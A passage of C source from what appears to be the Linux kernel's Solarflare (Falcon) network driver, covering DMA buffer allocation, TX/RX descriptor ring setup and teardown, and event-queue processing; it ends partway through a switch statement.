efx_alloc_special_buffer(struct efx_nic *efx,\n\t\t\t\t struct efx_special_buffer *buffer,\n\t\t\t\t unsigned int len)\n{\n\tlen = ALIGN(len, EFX_BUF_SIZE);\n\n\tbuffer->addr = pci_alloc_consistent(efx->pci_dev, len,\n\t\t\t\t\t &buffer->dma_addr);\n\tif (!buffer->addr)\n\t\treturn -ENOMEM;\n\tbuffer->len = len;\n\tbuffer->entries = len / EFX_BUF_SIZE;\n\tBUG_ON(buffer->dma_addr & (EFX_BUF_SIZE - 1));\n\n\t/* All zeros is a potentially valid event so memset to 0xff */\n\tmemset(buffer->addr, 0xff, len);\n\n\t/* Select new buffer ID */\n\tbuffer->index = efx->next_buffer_table;\n\tefx->next_buffer_table += buffer->entries;\n\n\tnetif_dbg(efx, probe, efx->net_dev,\n\t\t \"allocating special buffers %d-%d at %llx+%x \"\n\t\t \"(virt %p phys %llx)\\n\", buffer->index,\n\t\t buffer->index + buffer->entries - 1,\n\t\t (u64)buffer->dma_addr, len,\n\t\t buffer->addr, (u64)virt_to_phys(buffer->addr));\n\n\treturn 0;\n}\n\nstatic void\nefx_free_special_buffer(struct efx_nic *efx, struct efx_special_buffer *buffer)\n{\n\tif (!buffer->addr)\n\t\treturn;\n\n\tnetif_dbg(efx, hw, efx->net_dev,\n\t\t \"deallocating special buffers %d-%d at %llx+%x \"\n\t\t \"(virt %p phys %llx)\\n\", buffer->index,\n\t\t buffer->index + buffer->entries - 1,\n\t\t (u64)buffer->dma_addr, buffer->len,\n\t\t buffer->addr, (u64)virt_to_phys(buffer->addr));\n\n\tpci_free_consistent(efx->pci_dev, buffer->len, buffer->addr,\n\t\t\t buffer->dma_addr);\n\tbuffer->addr = NULL;\n\tbuffer->entries = 0;\n}\n\n/**************************************************************************\n *\n * Generic buffer handling\n * These buffers are used for interrupt status and MAC stats\n *\n **************************************************************************/\n\nint efx_nic_alloc_buffer(struct efx_nic *efx, struct efx_buffer *buffer,\n\t\t\t unsigned int len)\n{\n\tbuffer->addr = pci_alloc_consistent(efx->pci_dev, len,\n\t\t\t\t\t &buffer->dma_addr);\n\tif (!buffer->addr)\n\t\treturn -ENOMEM;\n\tbuffer->len = len;\n\tmemset(buffer->addr, 0, len);\n\treturn 0;\n}\n\nvoid efx_nic_free_buffer(struct efx_nic *efx, struct efx_buffer *buffer)\n{\n\tif (buffer->addr) {\n\t\tpci_free_consistent(efx->pci_dev, buffer->len,\n\t\t\t\t buffer->addr, buffer->dma_addr);\n\t\tbuffer->addr = NULL;\n\t}\n}\n\n/**************************************************************************\n *\n * TX path\n *\n **************************************************************************/\n\n/* Returns a pointer to the specified transmit descriptor in the TX\n * descriptor queue belonging to the specified channel.\n */\nstatic inline efx_qword_t *\nefx_tx_desc(struct efx_tx_queue *tx_queue, unsigned int index)\n{\n\treturn (((efx_qword_t *) (tx_queue->txd.addr)) + index);\n}\n\n/* This writes to the TX_DESC_WPTR; write pointer for TX descriptor ring */\nstatic inline void efx_notify_tx_desc(struct efx_tx_queue *tx_queue)\n{\n\tunsigned write_ptr;\n\tefx_dword_t reg;\n\n\twrite_ptr = tx_queue->write_count & EFX_TXQ_MASK;\n\tEFX_POPULATE_DWORD_1(reg, FRF_AZ_TX_DESC_WPTR_DWORD, write_ptr);\n\tefx_writed_page(tx_queue->efx, ®,\n\t\t\tFR_AZ_TX_DESC_UPD_DWORD_P0, tx_queue->queue);\n}\n\n\n/* For each entry inserted into the software descriptor ring, create a\n * descriptor in the hardware TX descriptor ring (in host memory), and\n * write a doorbell.\n */\nvoid efx_nic_push_buffers(struct efx_tx_queue *tx_queue)\n{\n\n\tstruct efx_tx_buffer *buffer;\n\tefx_qword_t *txd;\n\tunsigned write_ptr;\n\n\tBUG_ON(tx_queue->write_count == tx_queue->insert_count);\n\n\tdo {\n\t\twrite_ptr = tx_queue->write_count & EFX_TXQ_MASK;\n\t\tbuffer = &tx_queue->buffer[write_ptr];\n\t\ttxd = efx_tx_desc(tx_queue, write_ptr);\n\t\t++tx_queue->write_count;\n\n\t\t/* Create TX descriptor ring entry */\n\t\tEFX_POPULATE_QWORD_4(*txd,\n\t\t\t\t FSF_AZ_TX_KER_CONT, buffer->continuation,\n\t\t\t\t FSF_AZ_TX_KER_BYTE_COUNT, buffer->len,\n\t\t\t\t FSF_AZ_TX_KER_BUF_REGION, 0,\n\t\t\t\t FSF_AZ_TX_KER_BUF_ADDR, buffer->dma_addr);\n\t} while (tx_queue->write_count != tx_queue->insert_count);\n\n\twmb(); /* Ensure descriptors are written before they are fetched */\n\tefx_notify_tx_desc(tx_queue);\n}\n\n/* Allocate hardware resources for a TX queue */\nint efx_nic_probe_tx(struct efx_tx_queue *tx_queue)\n{\n\tstruct efx_nic *efx = tx_queue->efx;\n\tBUILD_BUG_ON(EFX_TXQ_SIZE < 512 || EFX_TXQ_SIZE > 4096 ||\n\t\t EFX_TXQ_SIZE & EFX_TXQ_MASK);\n\treturn efx_alloc_special_buffer(efx, &tx_queue->txd,\n\t\t\t\t\tEFX_TXQ_SIZE * sizeof(efx_qword_t));\n}\n\nvoid efx_nic_init_tx(struct efx_tx_queue *tx_queue)\n{\n\tefx_oword_t tx_desc_ptr;\n\tstruct efx_nic *efx = tx_queue->efx;\n\n\ttx_queue->flushed = FLUSH_NONE;\n\n\t/* Pin TX descriptor ring */\n\tefx_init_special_buffer(efx, &tx_queue->txd);\n\n\t/* Push TX descriptor ring to card */\n\tEFX_POPULATE_OWORD_10(tx_desc_ptr,\n\t\t\t FRF_AZ_TX_DESCQ_EN, 1,\n\t\t\t FRF_AZ_TX_ISCSI_DDIG_EN, 0,\n\t\t\t FRF_AZ_TX_ISCSI_HDIG_EN, 0,\n\t\t\t FRF_AZ_TX_DESCQ_BUF_BASE_ID, tx_queue->txd.index,\n\t\t\t FRF_AZ_TX_DESCQ_EVQ_ID,\n\t\t\t tx_queue->channel->channel,\n\t\t\t FRF_AZ_TX_DESCQ_OWNER_ID, 0,\n\t\t\t FRF_AZ_TX_DESCQ_LABEL, tx_queue->queue,\n\t\t\t FRF_AZ_TX_DESCQ_SIZE,\n\t\t\t __ffs(tx_queue->txd.entries),\n\t\t\t FRF_AZ_TX_DESCQ_TYPE, 0,\n\t\t\t FRF_BZ_TX_NON_IP_DROP_DIS, 1);\n\n\tif (efx_nic_rev(efx) >= EFX_REV_FALCON_B0) {\n\t\tint csum = tx_queue->queue & EFX_TXQ_TYPE_OFFLOAD;\n\t\tEFX_SET_OWORD_FIELD(tx_desc_ptr, FRF_BZ_TX_IP_CHKSM_DIS, !csum);\n\t\tEFX_SET_OWORD_FIELD(tx_desc_ptr, FRF_BZ_TX_TCP_CHKSM_DIS,\n\t\t\t\t !csum);\n\t}\n\n\tefx_writeo_table(efx, &tx_desc_ptr, efx->type->txd_ptr_tbl_base,\n\t\t\t tx_queue->queue);\n\n\tif (efx_nic_rev(efx) < EFX_REV_FALCON_B0) {\n\t\tefx_oword_t reg;\n\n\t\t/* Only 128 bits in this register */\n\t\tBUILD_BUG_ON(EFX_MAX_TX_QUEUES > 128);\n\n\t\tefx_reado(efx, ®, FR_AA_TX_CHKSM_CFG);\n\t\tif (tx_queue->queue & EFX_TXQ_TYPE_OFFLOAD)\n\t\t\tclear_bit_le(tx_queue->queue, (void *)®);\n\t\telse\n\t\t\tset_bit_le(tx_queue->queue, (void *)®);\n\t\tefx_writeo(efx, ®, FR_AA_TX_CHKSM_CFG);\n\t}\n}\n\nstatic void efx_flush_tx_queue(struct efx_tx_queue *tx_queue)\n{\n\tstruct efx_nic *efx = tx_queue->efx;\n\tefx_oword_t tx_flush_descq;\n\n\ttx_queue->flushed = FLUSH_PENDING;\n\n\t/* Post a flush command */\n\tEFX_POPULATE_OWORD_2(tx_flush_descq,\n\t\t\t FRF_AZ_TX_FLUSH_DESCQ_CMD, 1,\n\t\t\t FRF_AZ_TX_FLUSH_DESCQ, tx_queue->queue);\n\tefx_writeo(efx, &tx_flush_descq, FR_AZ_TX_FLUSH_DESCQ);\n}\n\nvoid efx_nic_fini_tx(struct efx_tx_queue *tx_queue)\n{\n\tstruct efx_nic *efx = tx_queue->efx;\n\tefx_oword_t tx_desc_ptr;\n\n\t/* The queue should have been flushed */\n\tWARN_ON(tx_queue->flushed != FLUSH_DONE);\n\n\t/* Remove TX descriptor ring from card */\n\tEFX_ZERO_OWORD(tx_desc_ptr);\n\tefx_writeo_table(efx, &tx_desc_ptr, efx->type->txd_ptr_tbl_base,\n\t\t\t tx_queue->queue);\n\n\t/* Unpin TX descriptor ring */\n\tefx_fini_special_buffer(efx, &tx_queue->txd);\n}\n\n/* Free buffers backing TX queue */\nvoid efx_nic_remove_tx(struct efx_tx_queue *tx_queue)\n{\n\tefx_free_special_buffer(tx_queue->efx, &tx_queue->txd);\n}\n\n/**************************************************************************\n *\n * RX path\n *\n **************************************************************************/\n\n/* Returns a pointer to the specified descriptor in the RX descriptor queue */\nstatic inline efx_qword_t *\nefx_rx_desc(struct efx_rx_queue *rx_queue, unsigned int index)\n{\n\treturn (((efx_qword_t *) (rx_queue->rxd.addr)) + index);\n}\n\n/* This creates an entry in the RX descriptor queue */\nstatic inline void\nefx_build_rx_desc(struct efx_rx_queue *rx_queue, unsigned index)\n{\n\tstruct efx_rx_buffer *rx_buf;\n\tefx_qword_t *rxd;\n\n\trxd = efx_rx_desc(rx_queue, index);\n\trx_buf = efx_rx_buffer(rx_queue, index);\n\tEFX_POPULATE_QWORD_3(*rxd,\n\t\t\t FSF_AZ_RX_KER_BUF_SIZE,\n\t\t\t rx_buf->len -\n\t\t\t rx_queue->efx->type->rx_buffer_padding,\n\t\t\t FSF_AZ_RX_KER_BUF_REGION, 0,\n\t\t\t FSF_AZ_RX_KER_BUF_ADDR, rx_buf->dma_addr);\n}\n\n/* This writes to the RX_DESC_WPTR register for the specified receive\n * descriptor ring.\n */\nvoid efx_nic_notify_rx_desc(struct efx_rx_queue *rx_queue)\n{\n\tefx_dword_t reg;\n\tunsigned write_ptr;\n\n\twhile (rx_queue->notified_count != rx_queue->added_count) {\n\t\tefx_build_rx_desc(rx_queue,\n\t\t\t\t rx_queue->notified_count &\n\t\t\t\t EFX_RXQ_MASK);\n\t\t++rx_queue->notified_count;\n\t}\n\n\twmb();\n\twrite_ptr = rx_queue->added_count & EFX_RXQ_MASK;\n\tEFX_POPULATE_DWORD_1(reg, FRF_AZ_RX_DESC_WPTR_DWORD, write_ptr);\n\tefx_writed_page(rx_queue->efx, ®,\n\t\t\tFR_AZ_RX_DESC_UPD_DWORD_P0, rx_queue->queue);\n}\n\nint efx_nic_probe_rx(struct efx_rx_queue *rx_queue)\n{\n\tstruct efx_nic *efx = rx_queue->efx;\n\tBUILD_BUG_ON(EFX_RXQ_SIZE < 512 || EFX_RXQ_SIZE > 4096 ||\n\t\t EFX_RXQ_SIZE & EFX_RXQ_MASK);\n\treturn efx_alloc_special_buffer(efx, &rx_queue->rxd,\n\t\t\t\t\tEFX_RXQ_SIZE * sizeof(efx_qword_t));\n}\n\nvoid efx_nic_init_rx(struct efx_rx_queue *rx_queue)\n{\n\tefx_oword_t rx_desc_ptr;\n\tstruct efx_nic *efx = rx_queue->efx;\n\tbool is_b0 = efx_nic_rev(efx) >= EFX_REV_FALCON_B0;\n\tbool iscsi_digest_en = is_b0;\n\n\tnetif_dbg(efx, hw, efx->net_dev,\n\t\t \"RX queue %d ring in special buffers %d-%d\\n\",\n\t\t rx_queue->queue, rx_queue->rxd.index,\n\t\t rx_queue->rxd.index + rx_queue->rxd.entries - 1);\n\n\trx_queue->flushed = FLUSH_NONE;\n\n\t/* Pin RX descriptor ring */\n\tefx_init_special_buffer(efx, &rx_queue->rxd);\n\n\t/* Push RX descriptor ring to card */\n\tEFX_POPULATE_OWORD_10(rx_desc_ptr,\n\t\t\t FRF_AZ_RX_ISCSI_DDIG_EN, iscsi_digest_en,\n\t\t\t FRF_AZ_RX_ISCSI_HDIG_EN, iscsi_digest_en,\n\t\t\t FRF_AZ_RX_DESCQ_BUF_BASE_ID, rx_queue->rxd.index,\n\t\t\t FRF_AZ_RX_DESCQ_EVQ_ID,\n\t\t\t rx_queue->channel->channel,\n\t\t\t FRF_AZ_RX_DESCQ_OWNER_ID, 0,\n\t\t\t FRF_AZ_RX_DESCQ_LABEL, rx_queue->queue,\n\t\t\t FRF_AZ_RX_DESCQ_SIZE,\n\t\t\t __ffs(rx_queue->rxd.entries),\n\t\t\t FRF_AZ_RX_DESCQ_TYPE, 0 /* kernel queue */ ,\n\t\t\t /* For >=B0 this is scatter so disable */\n\t\t\t FRF_AZ_RX_DESCQ_JUMBO, !is_b0,\n\t\t\t FRF_AZ_RX_DESCQ_EN, 1);\n\tefx_writeo_table(efx, &rx_desc_ptr, efx->type->rxd_ptr_tbl_base,\n\t\t\t rx_queue->queue);\n}\n\nstatic void efx_flush_rx_queue(struct efx_rx_queue *rx_queue)\n{\n\tstruct efx_nic *efx = rx_queue->efx;\n\tefx_oword_t rx_flush_descq;\n\n\trx_queue->flushed = FLUSH_PENDING;\n\n\t/* Post a flush command */\n\tEFX_POPULATE_OWORD_2(rx_flush_descq,\n\t\t\t FRF_AZ_RX_FLUSH_DESCQ_CMD, 1,\n\t\t\t FRF_AZ_RX_FLUSH_DESCQ, rx_queue->queue);\n\tefx_writeo(efx, &rx_flush_descq, FR_AZ_RX_FLUSH_DESCQ);\n}\n\nvoid efx_nic_fini_rx(struct efx_rx_queue *rx_queue)\n{\n\tefx_oword_t rx_desc_ptr;\n\tstruct efx_nic *efx = rx_queue->efx;\n\n\t/* The queue should already have been flushed */\n\tWARN_ON(rx_queue->flushed != FLUSH_DONE);\n\n\t/* Remove RX descriptor ring from card */\n\tEFX_ZERO_OWORD(rx_desc_ptr);\n\tefx_writeo_table(efx, &rx_desc_ptr, efx->type->rxd_ptr_tbl_base,\n\t\t\t rx_queue->queue);\n\n\t/* Unpin RX descriptor ring */\n\tefx_fini_special_buffer(efx, &rx_queue->rxd);\n}\n\n/* Free buffers backing RX queue */\nvoid efx_nic_remove_rx(struct efx_rx_queue *rx_queue)\n{\n\tefx_free_special_buffer(rx_queue->efx, &rx_queue->rxd);\n}\n\n/**************************************************************************\n *\n * Event queue processing\n * Event queues are processed by per-channel tasklets.\n *\n **************************************************************************/\n\n/* Update a channel's event queue's read pointer (RPTR) register\n *\n * This writes the EVQ_RPTR_REG register for the specified channel's\n * event queue.\n */\nvoid efx_nic_eventq_read_ack(struct efx_channel *channel)\n{\n\tefx_dword_t reg;\n\tstruct efx_nic *efx = channel->efx;\n\n\tEFX_POPULATE_DWORD_1(reg, FRF_AZ_EVQ_RPTR, channel->eventq_read_ptr);\n\tefx_writed_table(efx, ®, efx->type->evq_rptr_tbl_base,\n\t\t\t channel->channel);\n}\n\n/* Use HW to insert a SW defined event */\nvoid efx_generate_event(struct efx_channel *channel, efx_qword_t *event)\n{\n\tefx_oword_t drv_ev_reg;\n\n\tBUILD_BUG_ON(FRF_AZ_DRV_EV_DATA_LBN != 0 ||\n\t\t FRF_AZ_DRV_EV_DATA_WIDTH != 64);\n\tdrv_ev_reg.u32[0] = event->u32[0];\n\tdrv_ev_reg.u32[1] = event->u32[1];\n\tdrv_ev_reg.u32[2] = 0;\n\tdrv_ev_reg.u32[3] = 0;\n\tEFX_SET_OWORD_FIELD(drv_ev_reg, FRF_AZ_DRV_EV_QID, channel->channel);\n\tefx_writeo(channel->efx, &drv_ev_reg, FR_AZ_DRV_EV);\n}\n\n/* Handle a transmit completion event\n *\n * The NIC batches TX completion events; the message we receive is of\n * the form \"complete all TX events up to this index\".\n */\nstatic int\nefx_handle_tx_event(struct efx_channel *channel, efx_qword_t *event)\n{\n\tunsigned int tx_ev_desc_ptr;\n\tunsigned int tx_ev_q_label;\n\tstruct efx_tx_queue *tx_queue;\n\tstruct efx_nic *efx = channel->efx;\n\tint tx_packets = 0;\n\n\tif (likely(EFX_QWORD_FIELD(*event, FSF_AZ_TX_EV_COMP))) {\n\t\t/* Transmit completion */\n\t\ttx_ev_desc_ptr = EFX_QWORD_FIELD(*event, FSF_AZ_TX_EV_DESC_PTR);\n\t\ttx_ev_q_label = EFX_QWORD_FIELD(*event, FSF_AZ_TX_EV_Q_LABEL);\n\t\ttx_queue = &efx->tx_queue[tx_ev_q_label];\n\t\ttx_packets = ((tx_ev_desc_ptr - tx_queue->read_count) &\n\t\t\t EFX_TXQ_MASK);\n\t\tchannel->irq_mod_score += tx_packets;\n\t\tefx_xmit_done(tx_queue, tx_ev_desc_ptr);\n\t} else if (EFX_QWORD_FIELD(*event, FSF_AZ_TX_EV_WQ_FF_FULL)) {\n\t\t/* Rewrite the FIFO write pointer */\n\t\ttx_ev_q_label = EFX_QWORD_FIELD(*event, FSF_AZ_TX_EV_Q_LABEL);\n\t\ttx_queue = &efx->tx_queue[tx_ev_q_label];\n\n\t\tif (efx_dev_registered(efx))\n\t\t\tnetif_tx_lock(efx->net_dev);\n\t\tefx_notify_tx_desc(tx_queue);\n\t\tif (efx_dev_registered(efx))\n\t\t\tnetif_tx_unlock(efx->net_dev);\n\t} else if (EFX_QWORD_FIELD(*event, FSF_AZ_TX_EV_PKT_ERR) &&\n\t\t EFX_WORKAROUND_10727(efx)) {\n\t\tefx_schedule_reset(efx, RESET_TYPE_TX_DESC_FETCH);\n\t} else {\n\t\tnetif_err(efx, tx_err, efx->net_dev,\n\t\t\t \"channel %d unexpected TX event \"\n\t\t\t EFX_QWORD_FMT\"\\n\", channel->channel,\n\t\t\t EFX_QWORD_VAL(*event));\n\t}\n\n\treturn tx_packets;\n}\n\n/* Detect errors included in the rx_evt_pkt_ok bit. */\nstatic void efx_handle_rx_not_ok(struct efx_rx_queue *rx_queue,\n\t\t\t\t const efx_qword_t *event,\n\t\t\t\t bool *rx_ev_pkt_ok,\n\t\t\t\t bool *discard)\n{\n\tstruct efx_nic *efx = rx_queue->efx;\n\tbool rx_ev_buf_owner_id_err, rx_ev_ip_hdr_chksum_err;\n\tbool rx_ev_tcp_udp_chksum_err, rx_ev_eth_crc_err;\n\tbool rx_ev_frm_trunc, rx_ev_drib_nib, rx_ev_tobe_disc;\n\tbool rx_ev_other_err, rx_ev_pause_frm;\n\tbool rx_ev_hdr_type, rx_ev_mcast_pkt;\n\tunsigned rx_ev_pkt_type;\n\n\trx_ev_hdr_type = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_HDR_TYPE);\n\trx_ev_mcast_pkt = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_MCAST_PKT);\n\trx_ev_tobe_disc = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_TOBE_DISC);\n\trx_ev_pkt_type = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_PKT_TYPE);\n\trx_ev_buf_owner_id_err = EFX_QWORD_FIELD(*event,\n\t\t\t\t\t\t FSF_AZ_RX_EV_BUF_OWNER_ID_ERR);\n\trx_ev_ip_hdr_chksum_err = EFX_QWORD_FIELD(*event,\n\t\t\t\t\t\t FSF_AZ_RX_EV_IP_HDR_CHKSUM_ERR);\n\trx_ev_tcp_udp_chksum_err = EFX_QWORD_FIELD(*event,\n\t\t\t\t\t\t FSF_AZ_RX_EV_TCP_UDP_CHKSUM_ERR);\n\trx_ev_eth_crc_err = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_ETH_CRC_ERR);\n\trx_ev_frm_trunc = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_FRM_TRUNC);\n\trx_ev_drib_nib = ((efx_nic_rev(efx) >= EFX_REV_FALCON_B0) ?\n\t\t\t 0 : EFX_QWORD_FIELD(*event, FSF_AA_RX_EV_DRIB_NIB));\n\trx_ev_pause_frm = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_PAUSE_FRM_ERR);\n\n\t/* Every error apart from tobe_disc and pause_frm */\n\trx_ev_other_err = (rx_ev_drib_nib | rx_ev_tcp_udp_chksum_err |\n\t\t\t rx_ev_buf_owner_id_err | rx_ev_eth_crc_err |\n\t\t\t rx_ev_frm_trunc | rx_ev_ip_hdr_chksum_err);\n\n\t/* Count errors that are not in MAC stats. Ignore expected\n\t * checksum errors during self-test. */\n\tif (rx_ev_frm_trunc)\n\t\t++rx_queue->channel->n_rx_frm_trunc;\n\telse if (rx_ev_tobe_disc)\n\t\t++rx_queue->channel->n_rx_tobe_disc;\n\telse if (!efx->loopback_selftest) {\n\t\tif (rx_ev_ip_hdr_chksum_err)\n\t\t\t++rx_queue->channel->n_rx_ip_hdr_chksum_err;\n\t\telse if (rx_ev_tcp_udp_chksum_err)\n\t\t\t++rx_queue->channel->n_rx_tcp_udp_chksum_err;\n\t}\n\n\t/* The frame must be discarded if any of these are true. */\n\t*discard = (rx_ev_eth_crc_err | rx_ev_frm_trunc | rx_ev_drib_nib |\n\t\t rx_ev_tobe_disc | rx_ev_pause_frm);\n\n\t/* TOBE_DISC is expected on unicast mismatches; don't print out an\n\t * error message. FRM_TRUNC indicates RXDP dropped the packet due\n\t * to a FIFO overflow.\n\t */\n#ifdef EFX_ENABLE_DEBUG\n\tif (rx_ev_other_err && net_ratelimit()) {\n\t\tnetif_dbg(efx, rx_err, efx->net_dev,\n\t\t\t \" RX queue %d unexpected RX event \"\n\t\t\t EFX_QWORD_FMT \"%s%s%s%s%s%s%s%s\\n\",\n\t\t\t rx_queue->queue, EFX_QWORD_VAL(*event),\n\t\t\t rx_ev_buf_owner_id_err ? \" [OWNER_ID_ERR]\" : \"\",\n\t\t\t rx_ev_ip_hdr_chksum_err ?\n\t\t\t \" [IP_HDR_CHKSUM_ERR]\" : \"\",\n\t\t\t rx_ev_tcp_udp_chksum_err ?\n\t\t\t \" [TCP_UDP_CHKSUM_ERR]\" : \"\",\n\t\t\t rx_ev_eth_crc_err ? \" [ETH_CRC_ERR]\" : \"\",\n\t\t\t rx_ev_frm_trunc ? \" [FRM_TRUNC]\" : \"\",\n\t\t\t rx_ev_drib_nib ? \" [DRIB_NIB]\" : \"\",\n\t\t\t rx_ev_tobe_disc ? \" [TOBE_DISC]\" : \"\",\n\t\t\t rx_ev_pause_frm ? \" [PAUSE]\" : \"\");\n\t}\n#endif\n}\n\n/* Handle receive events that are not in-order. */\nstatic void\nefx_handle_rx_bad_index(struct efx_rx_queue *rx_queue, unsigned index)\n{\n\tstruct efx_nic *efx = rx_queue->efx;\n\tunsigned expected, dropped;\n\n\texpected = rx_queue->removed_count & EFX_RXQ_MASK;\n\tdropped = (index - expected) & EFX_RXQ_MASK;\n\tnetif_info(efx, rx_err, efx->net_dev,\n\t\t \"dropped %d events (index=%d expected=%d)\\n\",\n\t\t dropped, index, expected);\n\n\tefx_schedule_reset(efx, EFX_WORKAROUND_5676(efx) ?\n\t\t\t RESET_TYPE_RX_RECOVERY : RESET_TYPE_DISABLE);\n}\n\n/* Handle a packet received event\n *\n * The NIC gives a \"discard\" flag if it's a unicast packet with the\n * wrong destination address\n * Also \"is multicast\" and \"matches multicast filter\" flags can be used to\n * discard non-matching multicast packets.\n */\nstatic void\nefx_handle_rx_event(struct efx_channel *channel, const efx_qword_t *event)\n{\n\tunsigned int rx_ev_desc_ptr, rx_ev_byte_cnt;\n\tunsigned int rx_ev_hdr_type, rx_ev_mcast_pkt;\n\tunsigned expected_ptr;\n\tbool rx_ev_pkt_ok, discard = false, checksummed;\n\tstruct efx_rx_queue *rx_queue;\n\tstruct efx_nic *efx = channel->efx;\n\n\t/* Basic packet information */\n\trx_ev_byte_cnt = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_BYTE_CNT);\n\trx_ev_pkt_ok = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_PKT_OK);\n\trx_ev_hdr_type = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_HDR_TYPE);\n\tWARN_ON(EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_JUMBO_CONT));\n\tWARN_ON(EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_SOP) != 1);\n\tWARN_ON(EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_Q_LABEL) !=\n\t\tchannel->channel);\n\n\trx_queue = &efx->rx_queue[channel->channel];\n\n\trx_ev_desc_ptr = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_DESC_PTR);\n\texpected_ptr = rx_queue->removed_count & EFX_RXQ_MASK;\n\tif (unlikely(rx_ev_desc_ptr != expected_ptr))\n\t\tefx_handle_rx_bad_index(rx_queue, rx_ev_desc_ptr);\n\n\tif (likely(rx_ev_pkt_ok)) {\n\t\t/* If packet is marked as OK and packet type is TCP/IP or\n\t\t * UDP/IP, then we can rely on the hardware checksum.\n\t\t */\n\t\tchecksummed =\n\t\t\tlikely(efx->rx_checksum_enabled) &&\n\t\t\t(rx_ev_hdr_type == FSE_CZ_RX_EV_HDR_TYPE_IPV4V6_TCP ||\n\t\t\t rx_ev_hdr_type == FSE_CZ_RX_EV_HDR_TYPE_IPV4V6_UDP);\n\t} else {\n\t\tefx_handle_rx_not_ok(rx_queue, event, &rx_ev_pkt_ok, &discard);\n\t\tchecksummed = false;\n\t}\n\n\t/* Detect multicast packets that didn't match the filter */\n\trx_ev_mcast_pkt = EFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_MCAST_PKT);\n\tif (rx_ev_mcast_pkt) {\n\t\tunsigned int rx_ev_mcast_hash_match =\n\t\t\tEFX_QWORD_FIELD(*event, FSF_AZ_RX_EV_MCAST_HASH_MATCH);\n\n\t\tif (unlikely(!rx_ev_mcast_hash_match)) {\n\t\t\t++channel->n_rx_mcast_mismatch;\n\t\t\tdiscard = true;\n\t\t}\n\t}\n\n\tchannel->irq_mod_score += 2;\n\n\t/* Handle received packet */\n\tefx_rx_packet(rx_queue, rx_ev_desc_ptr, rx_ev_byte_cnt,\n\t\t checksummed, discard);\n}\n\nstatic void\nefx_handle_generated_event(struct efx_channel *channel, efx_qword_t *event)\n{\n\tstruct efx_nic *efx = channel->efx;\n\tunsigned code;\n\n\tcode = EFX_QWORD_FIELD(*event, FSF_AZ_DRV_GEN_EV_MAGIC);\n\tif (code == EFX_CHANNEL_MAGIC_TEST(channel))\n\t\t++channel->magic_count;\n\telse if (code == EFX_CHANNEL_MAGIC_FILL(channel))\n\t\t/* The queue must be empty, so we won't receive any rx\n\t\t * events, so efx_process_channel() won't refill the\n\t\t * queue. Refill it here */\n\t\tefx_fast_push_rx_descriptors(&efx->rx_queue[channel->channel]);\n\telse\n\t\tnetif_dbg(efx, hw, efx->net_dev, \"channel %d received \"\n\t\t\t \"generated event \"EFX_QWORD_FMT\"\\n\",\n\t\t\t channel->channel, EFX_QWORD_VAL(*event));\n}\n\n/* Global events are basically PHY events */\nstatic void\nefx_handle_global_event(struct efx_channel *channel, efx_qword_t *event)\n{\n\tstruct efx_nic *efx = channel->efx;\n\tbool handled = false;\n\n\tif (EFX_QWORD_FIELD(*event, FSF_AB_GLB_EV_G_PHY0_INTR) ||\n\t EFX_QWORD_FIELD(*event, FSF_AB_GLB_EV_XG_PHY0_INTR) ||\n\t EFX_QWORD_FIELD(*event, FSF_AB_GLB_EV_XFP_PHY0_INTR)) {\n\t\t/* Ignored */\n\t\thandled = true;\n\t}\n\n\tif ((efx_nic_rev(efx) >= EFX_REV_FALCON_B0) &&\n\t EFX_QWORD_FIELD(*event, FSF_BB_GLB_EV_XG_MGT_INTR)) {\n\t\tefx->xmac_poll_required = true;\n\t\thandled = true;\n\t}\n\n\tif (efx_nic_rev(efx) <= EFX_REV_FALCON_A1 ?\n\t EFX_QWORD_FIELD(*event, FSF_AA_GLB_EV_RX_RECOVERY) :\n\t EFX_QWORD_FIELD(*event, FSF_BB_GLB_EV_RX_RECOVERY)) {\n\t\tnetif_err(efx, rx_err, efx->net_dev,\n\t\t\t \"channel %d seen global RX_RESET event. Resetting.\\n\",\n\t\t\t channel->channel);\n\n\t\tatomic_inc(&efx->rx_reset);\n\t\tefx_schedule_reset(efx, EFX_WORKAROUND_6555(efx) ?\n\t\t\t\t RESET_TYPE_RX_RECOVERY : RESET_TYPE_DISABLE);\n\t\thandled = true;\n\t}\n\n\tif (!handled)\n\t\tnetif_err(efx, hw, efx->net_dev,\n\t\t\t \"channel %d unknown global event \"\n\t\t\t EFX_QWORD_FMT \"\\n\", channel->channel,\n\t\t\t EFX_QWORD_VAL(*event));\n}\n\nstatic void\nefx_handle_driver_event(struct efx_channel *channel, efx_qword_t *event)\n{\n\tstruct efx_nic *efx = channel->efx;\n\tunsigned int ev_sub_code;\n\tunsigned int ev_sub_data;\n\n\tev_sub_code = EFX_QWORD_FIELD(*event, FSF_AZ_DRIVER_EV_SUBCODE);\n\tev_sub_data = EFX_QWORD_FIELD(*event, FSF_AZ_DRIVER_EV_SUBDATA);\n\n\tswitch (ev_sub_code) {\n\tcase FSE_AZ_TX_DESCQ_FLS_DONE_EV:\n\t\tnetif_vdbg(efx, hw, efx->net_dev, \"channel %d TXQ %d flushed\\n\",\n\t\t\t channel->channel, ev_sub_data);\n\t\tbreak;\n\tcase FSE_AZ_RX_DESCQ_FLS_DONE_EV:\n\t\tnetif_vdbg(efx, hw, efx->net_dev, \"channel %d RXQ %d flushed\\n\",\n\t\t\t channel->channel, ev_sub_data);\n\t\tbreak;\n\tcase FSE_AZ_EVQ_INIT_DONE_EV:\n\t\tnetif_dbg(efx, hw, efx->net_dev,\n\t\t\t \"channel %d EVQ %d initialised\\n\",\n\t\t\t channel->channel, ev_sub_data);\n\t\tbreak;\n\tcase FSE_AZ_SRM_UPD_DONE_EV:\n\t\tnetif_vdbg(efx, hw, efx->net_dev,\n\t\t\t \"channel %d SRAM update done\\n\", channel->channel);\n\t\tbreak;\n\tcase 